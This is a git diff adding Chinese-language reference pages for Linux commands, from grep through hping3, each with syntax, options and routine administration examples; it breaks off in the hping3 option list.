. -r --exclude "README" + +#在搜索结果中排除filelist文件列表里的文件 +grep "main()" . -r --exclude-from filelist + +``` + +使用0值字节后缀的grep与xargs: + +```bash +# 测试文件: +echo "aaa" > file1 +echo "bbb" > file2 +echo "aaa" > file3 + +grep "aaa" file* -lZ | xargs -0 rm + +#执行后会删除file1和file3,grep输出用-Z选项来指定以0值字节作为终结符文件名(\0),xargs -0 读取输入并用0值字节终结符分隔文件名,然后删除匹配文件,-Z通常和-l结合使用。 + +``` + +grep静默输出: + +```bash +grep -q "test" filename +# 不会输出任何信息,如果命令运行成功返回0,失败则返回非0值。一般用于条件测试。 +``` + +打印出匹配文本之前或者之后的行: + +```bash +# 显示匹配某个结果之后的3行,使用 -A 选项: +seq 10 | grep "5" -A 3 +5 +6 +7 +8 + +# 显示匹配某个结果之前的3行,使用 -B 选项: +seq 10 | grep "5" -B 3 +2 +3 +4 +5 + +# 显示匹配某个结果的前三行和后三行,使用 -C 选项: +seq 10 | grep "5" -C 3 +2 +3 +4 +5 +6 +7 +8 + +# 如果匹配结果有多个,会用“--”作为各匹配结果之间的分隔符: +echo -e "a\nb\nc\na\nb\nc" | grep a -A 1 +a +b +-- +a +b +``` + + + diff --git a/LearnShell/LinuxCommands/groupadd.md b/LearnShell/LinuxCommands/groupadd.md new file mode 100644 index 0000000..a120fb0 --- /dev/null +++ b/LearnShell/LinuxCommands/groupadd.md @@ -0,0 +1,40 @@ +groupadd +=== + +用于创建一个新的工作组 + +## 补充说明 + +**groupadd命令** 用于创建一个新的工作组,新工作组的信息将被添加到系统文件中。 + +### 语法 + +``` +groupadd(选项)(参数) +``` + +### 选项 + +``` +-g:指定新建工作组的id; +-r:创建系统工作组,系统工作组的组ID小于500; +-K:覆盖配置文件“/ect/login.defs”; +-o:允许添加组ID号不唯一的工作组。 +``` + +### 参数 + +组名:指定新建工作组的组名。 + +### 实例 + +建立一个新组,并设置组ID加入系统: + +``` +groupadd -g 344 jsdigname +``` + +此时在`/etc/passwd`文件中产生一个组ID(GID)是344的项目。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/groupdel.md b/LearnShell/LinuxCommands/groupdel.md new file mode 100644 index 0000000..817c141 --- /dev/null +++ b/LearnShell/LinuxCommands/groupdel.md @@ -0,0 +1,28 @@ +groupdel +=== + +用于删除指定的工作组 + +## 补充说明 + +**groupdel命令** 用于删除指定的工作组,本命令要修改的系统文件包括/ect/group和/ect/gshadow。若该群组中仍包括某些用户,则必须先删除这些用户后,方能删除群组。 + +### 语法 + +``` +groupdel(参数) +``` + +### 参数 + +组:要删除的工作组名。 + +### 实例 + +``` +groupadd damon //创建damon工作组 +groupdel damon //删除这个工作组 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/groupmod.md b/LearnShell/LinuxCommands/groupmod.md new file mode 100644 index 0000000..a2eb701 --- /dev/null +++ b/LearnShell/LinuxCommands/groupmod.md @@ -0,0 +1,29 @@ +groupmod +=== + +更改群组识别码或名称 + +## 补充说明 + +**groupmod命令** 更改群组识别码或名称。需要更改群组的识别码或名称时,可用groupmod指令来完成这项工作。 + +### 语法 + +``` +groupmod(选项)(参数) +``` + +### 选项 + +``` +-g<群组识别码>:设置欲使用的群组识别码; +-o:重复使用群组识别码; +-n<新群组名称>:设置欲使用的群组名称。 +``` + +### 参数 + +组名:指定要修改的工作的组名。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/groups.md b/LearnShell/LinuxCommands/groups.md new file mode 100644 index 0000000..956e315 --- /dev/null +++ b/LearnShell/LinuxCommands/groups.md @@ -0,0 +1,37 @@ +groups +=== + +用来打印指定用户所属的工作组 + +## 补充说明 + +**groups命令** 在标准输入输出上输出指定用户所在组的组成员,每个用户属于`/etc/passwd`中指定的一个组和在`/etc/group`中指定的其他组。 + +### 语法 + +``` +groups(选项)(参数) +``` + +### 选项 + +``` +-help:显示命令的帮助信息; +--version:显示命令的版本信息。 +``` + +### 参数 + +用户名:指定要打印所属工作组的用户名。 + +### 实例 + +显示linux用户所属的组 + +``` +groups linux +linux : linux adm dialout cdrom plugdev lpadmin admin sambashare +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/grpck.md b/LearnShell/LinuxCommands/grpck.md new file mode 100644 index 0000000..e64d7ae --- /dev/null +++ b/LearnShell/LinuxCommands/grpck.md @@ -0,0 +1,50 @@ +grpck +=== + +用于验证组文件的完整性 + +## 补充说明 + +**grpck命令** 用于验证组文件的完整性,在验证之前,需要先锁定(lock)组文件`/etc/group`和`/etc/shadow`。 + +grpck命令检查数据是否正确存放,每条记录是否都包含足够的信息,是否有一个唯一的组名,是否包含正确的用户,是否正确设置了组的管理员等。grpck检查发现错误以后,在命令行提示用户是否删除错误的记录。如果用户没有明确回答删除记录,grpck终止运行。 + +### 语法 + +``` +grpck(选项) +``` + +### 选项 + +``` +-r:只读模式; +-s:排序组id。 +``` + +### 实例 + +对组账号和影子文件进行验证: + +``` +grpck //必须以管理员身份运行 +grpck /etc/group /etc/gshadow //后面两句一样,如果没有输出信息,则表示没有错误。 +``` + +测试错误的实例: + +``` +**echo check_user:x: >> /etc/group //添加一行错误的格式数据 +cat /etc/group | grep check_user** +check_user:x: //这儿GID字段为空,是错误的。 + + **grpck /etc/group** +invalid group file entry +delete line 'check_user:x:'? y //提示是否删除 +grpck: the files have been updated //这时已经删除了错误的行,提示文件已经更新。 + + **cat /etc/group | grep check_user //没有查到,已经删除了。** +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/grpconv.md b/LearnShell/LinuxCommands/grpconv.md new file mode 100644 index 0000000..f50b5d6 --- /dev/null +++ b/LearnShell/LinuxCommands/grpconv.md @@ -0,0 +1,40 @@ +grpconv +=== + +用来开启群组的投影密码 + +## 补充说明 + +**grpconv命令** 用来开启群组的投影密码。Linux系统里的用户和群组密码,分别存放在`/etc`目录下的passwd和group文件中。因系统运作所需,任何人都得以读取它们,造成安全上的破绽。投影密码将文件内的密码改存在`/etc`目录下的shadow和gshadow文件内,只允许系统管理者读取,同时把原密码置换为"x"字符。投影密码的功能可随时开启或关闭,您只需执行grpconv指令就能开启群组投影密码。 + +### 语法 + +``` +grpconv +``` + +### 实例 + +设置cdy组密码 + +``` +groupmod --password 123456 cdy +cat /etc/group | grep cdy +cdy:123456:1000: //看出密码是123456 +``` + +启动影子系统 + +``` +grpconv +cat /etc/group | grep cdy +cdy:x:1000: //看出密码段已经被x替代 + +cat /etc/gshadow | grep cdy +cdy:123456:: //已经移到影子文件了 +``` + +注:gshadow, shadow只有root权限才可以查看。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/grpunconv.md b/LearnShell/LinuxCommands/grpunconv.md new file mode 100644 index 0000000..2545c20 --- /dev/null +++ b/LearnShell/LinuxCommands/grpunconv.md @@ -0,0 +1,40 @@ +grpunconv +=== + +用来关闭群组的投影密码 + +## 补充说明 + +**grpunconv命令** 用来关闭群组的投影密码。它会把密码从gshadow文件内,回存到group文件里。 + +### 语法 + +``` +grpunconv +``` + +### 实例 + +未关闭的情况 + +``` +cat /etc/gshadow | grep cdy +cdy:123456:: +``` + +关闭影子密码 + +``` +cat /etc/gshadow +cat: /etc/gshadow: 没有那个文件或目录 +``` + +查看密码已经复制到`/etc/group`中了。 + +``` +cat /etc/group | grep cdy +cdy:123456:1000: +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/grub.md b/LearnShell/LinuxCommands/grub.md new file mode 100644 index 0000000..a7a5be5 --- /dev/null +++ b/LearnShell/LinuxCommands/grub.md @@ -0,0 +1,72 @@ +grub +=== + +多重引导程序grub的命令行shell工具 + +## 补充说明 + +**grub命令** 是多重引导程序grub的命令行shell工具。 + +### 语法 + +``` +grub(选项) +``` + +### 选项 + +``` +--batch:打开批处理模式; +--boot-drive=<驱动器>:指定stage2的引导驱动器; +--config-file<配置文件>:指定stage2的配置文件; +--device-map=<文件>:指定设备的映射文件; +--help:显示帮助信息; +--install-partition=<分区>:指定stage2安装分区; +--no-config-file:不使用配置文件; +--no-pager:不使用内部分页器; +--preset-menu:使用预设菜单; +--probe-second-floppy:检测第二个软盘驱动器; +--read-only:只读模式。 +``` + +### 实例 + +利用grub命令来启动损坏的Linux系统,可能你的电脑因为某些原因损坏不能自动启动了。当然原因很多,可能的现象也很多。 + +这里说一下这种情况下的处理方法,即:屏幕上提示`grub>`,但你的硬盘上数据没有丢失,各分区都是好的。这种情况是你的grub信息损坏了,但比较严重的是系统启动不了。 + +当然,在正常启动情况下,屏幕上出现grub的启动项选择菜单时按`c`键也是可以进入`grub>`状态的。这时候我们需要用grub的命令来手工启动系统。 + +只需要用到四个命令boot、kernel、initrd、boot。 + +但grub本身命令很多,比如查看文件内容的cat ,你输入help会得到。 + +首先,输入“ root (hd ” ,然后按两次 TAB 键; /* 这会列出你电脑上可能的磁盘设备,硬盘为 hd0/hd1 或 sd0/sd1 等 */ + +然后,选择你的安装 Linux 系统的硬盘,比如 hd0 ,输入 “ root (hd0, ” 再按两次 TAB 键; /* 这会列出你的第一块硬盘上的分区情况,你会知道哪个是 swap 交换分区, 0x82 ,哪个是 Linux 分区 0x83 */ + +选择你认为可能的 /boot 目录所在的分区, 输入`root (hd0, 1)`回车; + +接着,输入`cat /boot/vm`, 按两次 TAB 键,如果出现一些 vm 开头的文件,比如 vmlinuz-2.6.15-26-386 说明这里是 /boot 所在的分区。 + +删除上一次的输入,再输入`cat /boot/initrd`,按两次 TAB 键,如果出现一些 initrd 开头的文件,比如 initrd.img-2.6.15-26-386 说明这个 /boot 所在的分区有 initrd ,即 ramdisk 镜像; + +删除上一次的输入,再输入`cat /sbin/init`,按两次 TAB 键,如果出现一些 init 开头的文件,比如`/sbin/init`说明这个分区是`/`所在的分区; + +如果没有出现`/sbin/init`文件,说明`(hd0,1)`分区仅仅是`/boot`分区而不是`/`分区。重新输入`root (hd0,N)`命令,这里 N 是某个 Linux 分区,然后再试`cat /sbin/init`, 直到屏幕上出现`/sbin/init`,说明你找到了`/`分区,严格来说,应该是`/sbin`目录所在的分区; + +依次输入命令: + +``` +root (hd0,1) /* 假设 /dev/hda2 是你的 /boot 所在的分区 */ +kernel /boot/vmlinuz-2.6.15-26-386 ro dev=/dev/hda3 /* 假设 /dev/hda3 是你的 / 所在的分区 */ +initrd /boot/initrd.img-2.6.15-26-386 +boot +``` + +即可启动系统。 + +这里的关键问题是如何确定系统的几个分区:`/boot` `/` `/sbin` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/gunzip.md b/LearnShell/LinuxCommands/gunzip.md new file mode 100644 index 0000000..5eb9c97 --- /dev/null +++ b/LearnShell/LinuxCommands/gunzip.md @@ -0,0 +1,67 @@ +gunzip +=== + +用来解压缩文件 + +## 补充说明 + +**gunzip命令** 用来解压缩文件。gunzip是个使用广泛的解压缩程序,它用于解开被gzip压缩过的文件,这些压缩文件预设最后的扩展名为.gz。事实上gunzip就是gzip的硬连接,因此不论是压缩或解压缩,都可通过gzip指令单独完成。 + +### 语法 + +``` +gunzip(选项)(参数) +``` + +### 选项 + +``` +-a或——ascii:使用ASCII文字模式; +-c或--stdout或--to-stdout:把解压后的文件输出到标准输出设备; +-f或-force:强行解开压缩文件,不理会文件名称或硬连接是否存在以及该文件是否为符号连接; +-h或——help:在线帮助; +-l或——list:列出压缩文件的相关信息; +-L或——license:显示版本与版权信息; +-n或--no-name:解压缩时,若压缩文件内含有原来的文件名称及时间戳记,则将其忽略不予处理; +-N或——name:解压缩时,若压缩文件内含有原来的文件名称及时间戳记,则将其回存到解开的文件上; +-q或——quiet:不显示警告信息; +-r或——recursive:递归处理,将指定目录下的所有文件及子目录一并处理; +-S或<压缩字尾字符串>或----suffix<压缩字尾字符串>:更改压缩字尾字符串; +-t或——test:测试压缩文件是否正确无误; +-v或——verbose:显示指令执行过程; +-V或——version:显示版本信息; +``` + +### 参数 + +文件列表:指定要解压缩的压缩包。 + +### 实例 + +首先将`/etc`目录下的所有文件以及子目录进行压缩,备份压缩包etc.zip到`/opt`目录,然后对etc.zip文件进行gzip压缩,设置gzip的压缩级别为9。 + +``` +zip –r /opt/etc.zip /etc +gzip -9v /opt/etc.zip +``` + +查看上述etc.zip.gz文件的压缩信息。 + +``` +gzip -l /opt/etc.zip.gz +compressed uncompressed ratio uncompressed_name +11938745 12767265 6.5% /opt/etc.zip +``` + +解压上述etc.zip.gz文件到当前目录。 + +``` +[root@mylinux ~]#gzip –d /opt/etc.zip.gz +或者执行 +[root@mylinux ~]#gunzip /opt/etc.zip.gz +``` + +通过上面的示例可以知道`gzip –d`等价于`gunzip`命令。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/gzexe.md b/LearnShell/LinuxCommands/gzexe.md new file mode 100644 index 0000000..b146bc0 --- /dev/null +++ b/LearnShell/LinuxCommands/gzexe.md @@ -0,0 +1,27 @@ +gzexe +=== + +用来压缩可执行文件 + +## 补充说明 + +**gzexe命令** 用来压缩可执行文件,压缩后的文件仍然为可执行文件,在执行时进行自动解压缩。当您去执行被压缩过的执行文件时,该文件会自动解压然后继续执行,和使用一般的执行文件相同。这个命令也可以看成是gunzip命令的一个扩展。 + +### 语法 + +``` +gzexe(选项)(参数) +``` + +### 选项 + +``` +-d:解压缩被gzexe压缩过的可执行文件。 +``` + +### 参数 + +文件:指定需要压缩的可执行文件。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/gzip.md b/LearnShell/LinuxCommands/gzip.md new file mode 100644 index 0000000..f725cc3 --- /dev/null +++ b/LearnShell/LinuxCommands/gzip.md @@ -0,0 +1,86 @@ +gzip +=== + +用来压缩文件 + +## 补充说明 + +**gzip命令** 用来压缩文件。gzip是个使用广泛的压缩程序,文件经它压缩过后,其名称后面会多处“.gz”扩展名。 + +gzip是在Linux系统中经常使用的一个对文件进行压缩和解压缩的命令,既方便又好用。gzip不仅可以用来压缩大的、较少使用的文件以节省磁盘空间,还可以和tar命令一起构成Linux操作系统中比较流行的压缩文件格式。据统计,gzip命令对文本文件有60%~70%的压缩率。减少文件大小有两个明显的好处,一是可以减少存储空间,二是通过网络传输文件时,可以减少传输的时间。 + +### 语法 + +``` +gzip(选项)(参数) +``` + +### 选项 + +``` +-a或——ascii:使用ASCII文字模式; +-d或--decompress或----uncompress:解开压缩文件; +-f或——force:强行压缩文件。不理会文件名称或硬连接是否存在以及该文件是否为符号连接; +-h或——help:在线帮助; +-l或——list:列出压缩文件的相关信息; +-L或——license:显示版本与版权信息; +-n或--no-name:压缩文件时,不保存原来的文件名称及时间戳记; +-N或——name:压缩文件时,保存原来的文件名称及时间戳记; +-q或——quiet:不显示警告信息; +-r或——recursive:递归处理,将指定目录下的所有文件及子目录一并处理; +-S或<压缩字尾字符串>或----suffix<压缩字尾字符串>:更改压缩字尾字符串; +-t或——test:测试压缩文件是否正确无误; +-v或——verbose:显示指令执行过程; +-V或——version:显示版本信息; +-<压缩效率>:压缩效率是一个介于1~9的数值,预设值为“6”,指定愈大的数值,压缩效率就会愈高; +--best:此参数的效果和指定“-9”参数相同; +--fast:此参数的效果和指定“-1”参数相同。 +-num 用指定的数字num调整压缩的速度,-1或--fast表示最快压缩方法(低压缩比),-9或--best表示最慢压缩方法(高压缩比)。系统缺省值为6。 +``` + +### 参数 + +文件列表:指定要压缩的文件列表。 + +### 实例 + +把test6目录下的每个文件压缩成.gz文件 + +``` +gzip * +``` + +把上例中每个压缩的文件解压,并列出详细的信息 + +``` +gzip -dv * +``` + +详细显示例1中每个压缩的文件的信息,并不解压 + +``` +gzip -l * +``` + +压缩一个tar备份文件,此时压缩文件的扩展名为.tar.gz + +``` +gzip -r log.tar +``` + +递归的压缩目录 + +``` +gzip -rv test6 +``` + +这样,所有test下面的文件都变成了*.gz,目录依然存在只是目录里面的文件相应变成了*.gz.这就是压缩,和打包不同。因为是对目录操作,所以需要加上-r选项,这样也可以对子目录进行递归了。 + +递归地解压目录 + +``` +gzip -dr test6 +``` + + + diff --git a/LearnShell/LinuxCommands/halt.md b/LearnShell/LinuxCommands/halt.md new file mode 100644 index 0000000..1e03bf9 --- /dev/null +++ b/LearnShell/LinuxCommands/halt.md @@ -0,0 +1,35 @@ +halt +=== + +关闭正在运行的Linux操作系统 + +## 补充说明 + +**halt命令** 用来关闭正在运行的Linux操作系统。halt命令会先检测系统的runlevel,若runlevel为0或6,则关闭系统,否则即调用shutdown来关闭系统。 + +### 语法 + +``` +halt(选项) +``` + +### 选项 + +``` +-d:不要在wtmp中记录; +-f:不论目前的runlevel为何,不调用shutdown即强制关闭系统; +-i:在halt之前,关闭全部的网络界面; +-n:halt前,不用先执行sync; +-p:halt之后,执行poweroff; +-w:仅在wtmp中记录,而不实际结束系统。 +``` + +### 实例 + +``` +halt -p //关闭系统后关闭电源。 +halt -d //关闭系统,但不留下纪录。 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/hdparm.md b/LearnShell/LinuxCommands/hdparm.md new file mode 100644 index 0000000..09d7410 --- /dev/null +++ b/LearnShell/LinuxCommands/hdparm.md @@ -0,0 +1,116 @@ +hdparm +=== + +显示与设定硬盘的参数 + +## 补充说明 + +**hdparm命令** 提供了一个命令行的接口用于读取和设置IDE或SCSI硬盘参数。 + +### 语法 + +``` +hdparm(选项)(参数) +``` + +### 选项 + +``` +-a<快取分区>:设定读取文件时,预先存入块区的分区数,若不加上<快取分区>选项,则显示目前的设定; +-A<0或1>:启动或关闭读取文件时的快取功能; +-c:设定IDE32位I/O模式; +-C:检测IDE硬盘的电源管理模式; +-d<0或1>:设定磁盘的DMA模式; +-f:将内存缓冲区的数据写入硬盘,并清楚缓冲区; +-g:显示硬盘的磁轨,磁头,磁区等参数; +-h:显示帮助; +-i:显示硬盘的硬件规格信息,这些信息是在开机时由硬盘本身所提供; +-I:直接读取硬盘所提供的硬件规格信息; +-k<0或1>:重设硬盘时,保留-dmu参数的设定; +-K<0或1>:重设硬盘时,保留-APSWXZ参数的设定; +-m<磁区数>:设定硬盘多重分区存取的分区数; +-n<0或1>:忽略硬盘写入时所发生的错误; +-p:设定硬盘的PIO模式; +-P<磁区数>:设定硬盘内部快取的分区数; +-q:在执行后续的参数时,不在屏幕上显示任何信息; +-r<0或1>:设定硬盘的读写模式; +-S<时间>:设定硬盘进入省电模式前的等待时间; +-t;评估硬盘的读取效率; +-T:平谷硬盘快取的读取效率; +-u<0或1>:在硬盘存取时,允许其他中断要求同时执行; +-v:显示硬盘的相关设定; +-w<0或1>:设定硬盘的写入快取; +-X<传输模式>:设定硬盘的传输模式; +-y:使IDE硬盘进入省电模式; +-Y:使IDE硬盘进入睡眠模式; +-Z:关闭某些Seagate硬盘的自动省电功能。 +``` + +### 参数 + +设备文件:指定id驱动对应的设备文件名。 + +### 实例 + +显示硬盘的相关设置: + +``` +hdparm /dev/sda +/dev/sda: +IO_support = 0 (default 16-bit) +readonly = 0 (off) +readahead = 256 (on) +geometry = 19457[柱面数]/255[磁头数]/63[扇区数], sectors = 312581808[总扇区数], start = 0[起始扇区数] + +``` + +显示硬盘的柱面、磁头、扇区数: + +``` +hdparm -g /dev/sda +/dev/sda: +geometry = 19457[柱面数]/255[磁头数]/63[扇区数], sectors = 312581808[总扇区数], start = 0[起始扇区数] +``` + +测试硬盘的读取速度: + +``` +hdparm -T /dev/sda +/dev/sda: + Timing cached reads: 4684 MB in 2.00 seconds = 2342.92 MB/sec +``` + +测试硬盘缓存的读取速度: + +``` +hdparm -T /dev/xvda +/dev/xvda: +Timing cached reads: 11154 MB in 1.98 seconds = 5633.44 MB/sec + +``` + +检测硬盘的电源管理模式: + +``` +hdparm -C /dev/sda +/dev/sda: +drive state is: standby [省电模式] +``` + +查询并设置硬盘多重扇区存取的扇区数,以增进硬盘的存取效率: + +``` +hdparm -m /dev/sda +hdparm -m #参数值为整数值如8 /dev/sda +``` + + **附:硬盘坏道修复方法** + +``` +检查:smartctl -l selftest /dev/sda +卸载:umount /dev/sda* +修复:badblocks /dev/sda +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/head.md b/LearnShell/LinuxCommands/head.md new file mode 100644 index 0000000..c71e1b7 --- /dev/null +++ b/LearnShell/LinuxCommands/head.md @@ -0,0 +1,30 @@ +head +=== + +在屏幕上显示指定文件的开头若干行 + +## 补充说明 + +**head命令** 用于显示文件的开头的内容。在默认情况下,head命令显示文件的头10行内容。 + +### 语法 + +``` +head(选项)(参数) +``` + +### 选项 + +``` +-n<数字>:指定显示头部内容的行数; +-c<字符数>:指定显示头部内容的字符数; +-v:总是显示文件名的头信息; +-q:不显示文件名的头信息。 +``` + +### 参数 + +文件列表:指定显示头部内容的文件列表。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/help.md b/LearnShell/LinuxCommands/help.md new file mode 100644 index 0000000..8a9a5f3 --- /dev/null +++ b/LearnShell/LinuxCommands/help.md @@ -0,0 +1,44 @@ +help +=== + +显示帮助信息 + +## 补充说明 + +**help命令** 用于显示shell内部命令的帮助信息。help命令只能显示shell内部的命令帮助信息。而对于外部命令的帮助信息只能使用man或者info命令查看。 + +### 语法 + +``` +help(选项)(参数) +``` + +### 选项 + +``` +-s:输出短格式的帮助信息。仅包括命令格式。 +``` + +### 参数 + +内部命令:指定需要显示帮助信息的shell内部命令。 + +### 实例 + +使用help命令显示shell内部shopt命令的帮助信息,输入如下命令: + +``` +help shopt #获取shopt命令的帮助信息 +shopt: shopt [-pqsu] [-o long-option] optname [optname...] + Toggle the values of variables controlling optional behavior. + The -s flag means to enable (set) each OPTNAME; the -u flag + unsets each OPTNAME. The -q flag suppresses output; the exit + status indicates whether each OPTNAME is set or unset. The -o + option restricts the OPTNAMEs to those defined for use with + `set -o'. With no options, or with the -p option, a list of all + settable options is displayed, with an indication of whether or + not each is set. +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/hexdump.md b/LearnShell/LinuxCommands/hexdump.md new file mode 100644 index 0000000..6e6ca1c --- /dev/null +++ b/LearnShell/LinuxCommands/hexdump.md @@ -0,0 +1,60 @@ +hexdump +=== + +显示文件十六进制格式 + +## 补充说明 + +**hexdump命令** 一般用来查看“二进制”文件的十六进制编码,但实际上它能查看任何文件,而不只限于二进制文件。 + +### 语法 + +``` +hexdump [选项] [文件]... +``` + +### 选项 + +``` +-n length 只格式化输入文件的前length个字节。 +-C 输出规范的十六进制和ASCII码。 +-b 单字节八进制显示。 +-c 单字节字符显示。 +-d 双字节十进制显示。 +-o 双字节八进制显示。 +-x 双字节十六进制显示。 +-s 从偏移量开始输出。 +-e 指定格式字符串,格式字符串包含在一对单引号中,格式字符串形如:'a/b "format1" "format2"'。 +``` + +每个格式字符串由三部分组成,每个由空格分隔,第一个形如a/b,b表示对每b个输入字节应用format1格式,a表示对每a个输入字节应用format2格式,一般a>b,且b只能为1,2,4,另外a可以省略,省略则a=1。format1和format2中可以使用类似printf的格式字符串,如: + +``` +%02d:两位十进制 +%03x:三位十六进制 +%02o:两位八进制 +%c:单个字符等 +``` + +还有一些特殊的用法: + +``` +%_ad:标记下一个输出字节的序号,用十进制表示。 +%_ax:标记下一个输出字节的序号,用十六进制表示。 +%_ao:标记下一个输出字节的序号,用八进制表示。 +%_p:对不能以常规字符显示的用 . 代替。 +``` + +同一行如果要显示多个格式字符串,则可以跟多个`-e`选项。 + +### 实例 + +``` +hexdump -e '16/1 "%02X " " | "' -e '16/1 "%_p" "\n"' test +00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F | ................ +10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F | ................ +20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F | !"#$%&'()*+,-./ +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/history.md b/LearnShell/LinuxCommands/history.md new file mode 100644 index 0000000..6d966bd --- /dev/null +++ b/LearnShell/LinuxCommands/history.md @@ -0,0 +1,66 @@ +history +=== + +用于显示历史命令 + +## 补充说明 + +**history命令** 用于显示指定数目的指令命令,读取历史命令文件中的目录到历史命令缓冲区和将历史命令缓冲区中的目录写入命令文件。 + +该命令单独使用时,仅显示历史命令,在命令行中,可以使用符号`!`执行指定序号的历史命令。例如,要执行第2个历史命令,则输入`!2`。 + +历史命令是被保存在内存中的,当退出或者登录shell时,会自动保存或读取。在内存中,历史命令仅能够存储1000条历史命令,该数量是由环境变量`HISTSIZE`进行控制。 + +### 语法 + +``` +history(选项)(参数) +``` + +### 选项 + +``` +-c:清空当前历史命令; +-a:将历史命令缓冲区中命令写入历史命令文件中; +-r:将历史命令文件中的命令读入当前历史命令缓冲区; +-w:将当前历史命令缓冲区命令写入历史命令文件中。 +``` + +### 参数 + +n:打印最近的n条历史命令。 + +### 实例 + +使用history命令显示最近使用的10条历史命令,输入如下命令: + +``` +[root@localhost ~]# history 10 + 92 ls + 93 cd .. + 94 ls + 95 exit + 96 ls -a + 97 cd .ssh/ + 98 ls + 99 cat known_hosts + 100 exit + 101 history 10 +``` + +列出最近3条记录 + +``` +[root@localhost ~]# history 3 + 15 2017-08-26 11:44:35 root history 3 + 16 2017-08-26 11:44:37 root history n + 17 2017-08-26 11:44:40 root history 3 +``` + +清空历史记录 + +``` +[root@localhost ~]# history -c +``` + + diff --git a/LearnShell/LinuxCommands/host.md b/LearnShell/LinuxCommands/host.md new file mode 100644 index 0000000..8898a19 --- /dev/null +++ b/LearnShell/LinuxCommands/host.md @@ -0,0 +1,57 @@ +host +=== + +常用的分析域名查询工具 + +## 补充说明 + +**host命令** 是常用的分析域名查询工具,可以用来测试域名系统工作是否正常。 + +### 语法 + +``` +host(选项)(参数) +``` + +### 选项 + +``` +-a:显示详细的DNS信息; +-c<类型>:指定查询类型,默认值为“IN“; +-C:查询指定主机的完整的SOA记录; +-r:在查询域名时,不使用递归的查询方式; +-t<类型>:指定查询的域名信息类型; +-v:显示指令执行的详细信息; +-w:如果域名服务器没有给出应答信息,则总是等待,直到域名服务器给出应答; +-W<时间>:指定域名查询的最长时间,如果在指定时间内域名服务器没有给出应答信息,则退出指令; +-4:使用IPv4; +-6:使用IPv6. +``` + +### 参数 + +主机:指定要查询信息的主机信息。 + +### 实例 + +``` +[root@localhost ~]# host www.jsdig.com +www.jsdig.com is an alias for host.1.jsdig.com. +host.1.jsdig.com has address 100.42.212.8 + +[root@localhost ~]# host -a www.jsdig.com +Trying "www.jsdig.com" +;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 34671 +;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 + +;; QUESTION SECTION: +;www.jsdig.com. IN ANY + +;; ANSWER SECTION: +www.jsdig.com. 463 IN CNAME host.1.jsdig.com. + +Received 54 bytes from 202.96.104.15#53 in 0 ms +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/hostid.md b/LearnShell/LinuxCommands/hostid.md new file mode 100644 index 0000000..1709ce3 --- /dev/null +++ b/LearnShell/LinuxCommands/hostid.md @@ -0,0 +1,31 @@ +hostid +=== + +用来打印当前主机的数字化标识 + +## 补充说明 + +**hostid命令** 用于打印当前主机的十六进制数字标识。是主机的唯一标识,是被用来限时软件的使用权限,不可改变。 + +### 语法 + +``` +hostid +``` + +### 选项 + +``` +--help:显示帮助信息; +--version:显示版本信息。 +``` + +### 实例 + +``` +[root@localhost ~]# hostid +007f0100 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/hostname.md b/LearnShell/LinuxCommands/hostname.md new file mode 100644 index 0000000..72812f7 --- /dev/null +++ b/LearnShell/LinuxCommands/hostname.md @@ -0,0 +1,40 @@ +hostname +=== + +显示和设置系统的主机名 + +## 补充说明 + +**hostname命令** 用于显示和设置系统的主机名称。环境变量HOSTNAME也保存了当前的主机名。在使用hostname命令设置主机名后,系统并不会永久保存新的主机名,重新启动机器之后还是原来的主机名。如果需要永久修改主机名,需要同时修改`/etc/hosts`和`/etc/sysconfig/network`的相关内容。 + +### 语法 + +``` +hostname(选项)(参数) +``` + +### 选项 + +``` +-v:详细信息模式; +-a:显示主机别名; +-d:显示DNS域名; +-f:显示FQDN名称; +-i:显示主机的ip地址; +-s:显示短主机名称,在第一个点处截断; +-y:显示NIS域名。 +``` + +### 参数 + +主机名:指定要设置的主机名。 + +### 实例 + +``` +[root@AY1307311912260196fcZ ~]# hostname +AY1307311912260196fcZ +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/hping3.md b/LearnShell/LinuxCommands/hping3.md new file mode 100644 index 0000000..0617ab4 --- /dev/null +++ b/LearnShell/LinuxCommands/hping3.md @@ -0,0 +1,156 @@ +hping3 +=== + +测试网络及主机的安全 + +## 补充说明 + +**hping** 是用于生成和解析TCPIP协议数据包的开源工具。创作者是Salvatore Sanfilippo。目前最新版是hping3,支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。 + +### 安装 + +``` +yum install libpcap-devel tc-devel +ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h +wget http://www.hping.org/hping3-20051105.tar.gz +tar zxvf hping3-20051105.tar.gz +cd hping3-20051105 +./configure +make +make install +``` + +### 选项 + +``` +-H --help 显示帮助。 +-v -VERSION 版本信息。 +-c --count count 发送数据包的次数 关于countreached_timeout 可以在hping2.h里编辑。 +-i --interval 包发送间隔时间(单位是毫秒)缺省时间是1秒,此功能在增加传输率上很重要,在idle/spoofing扫描时此功能也会被用到,你可以参考hping-howto获得更多信息-fast 每秒发10个数据包。 +-n -nmeric 数字输出,象征性输出主机地址。 +-q -quiet 退出。 +-I --interface interface name 无非就是eth0之类的参数。 +-v --verbose 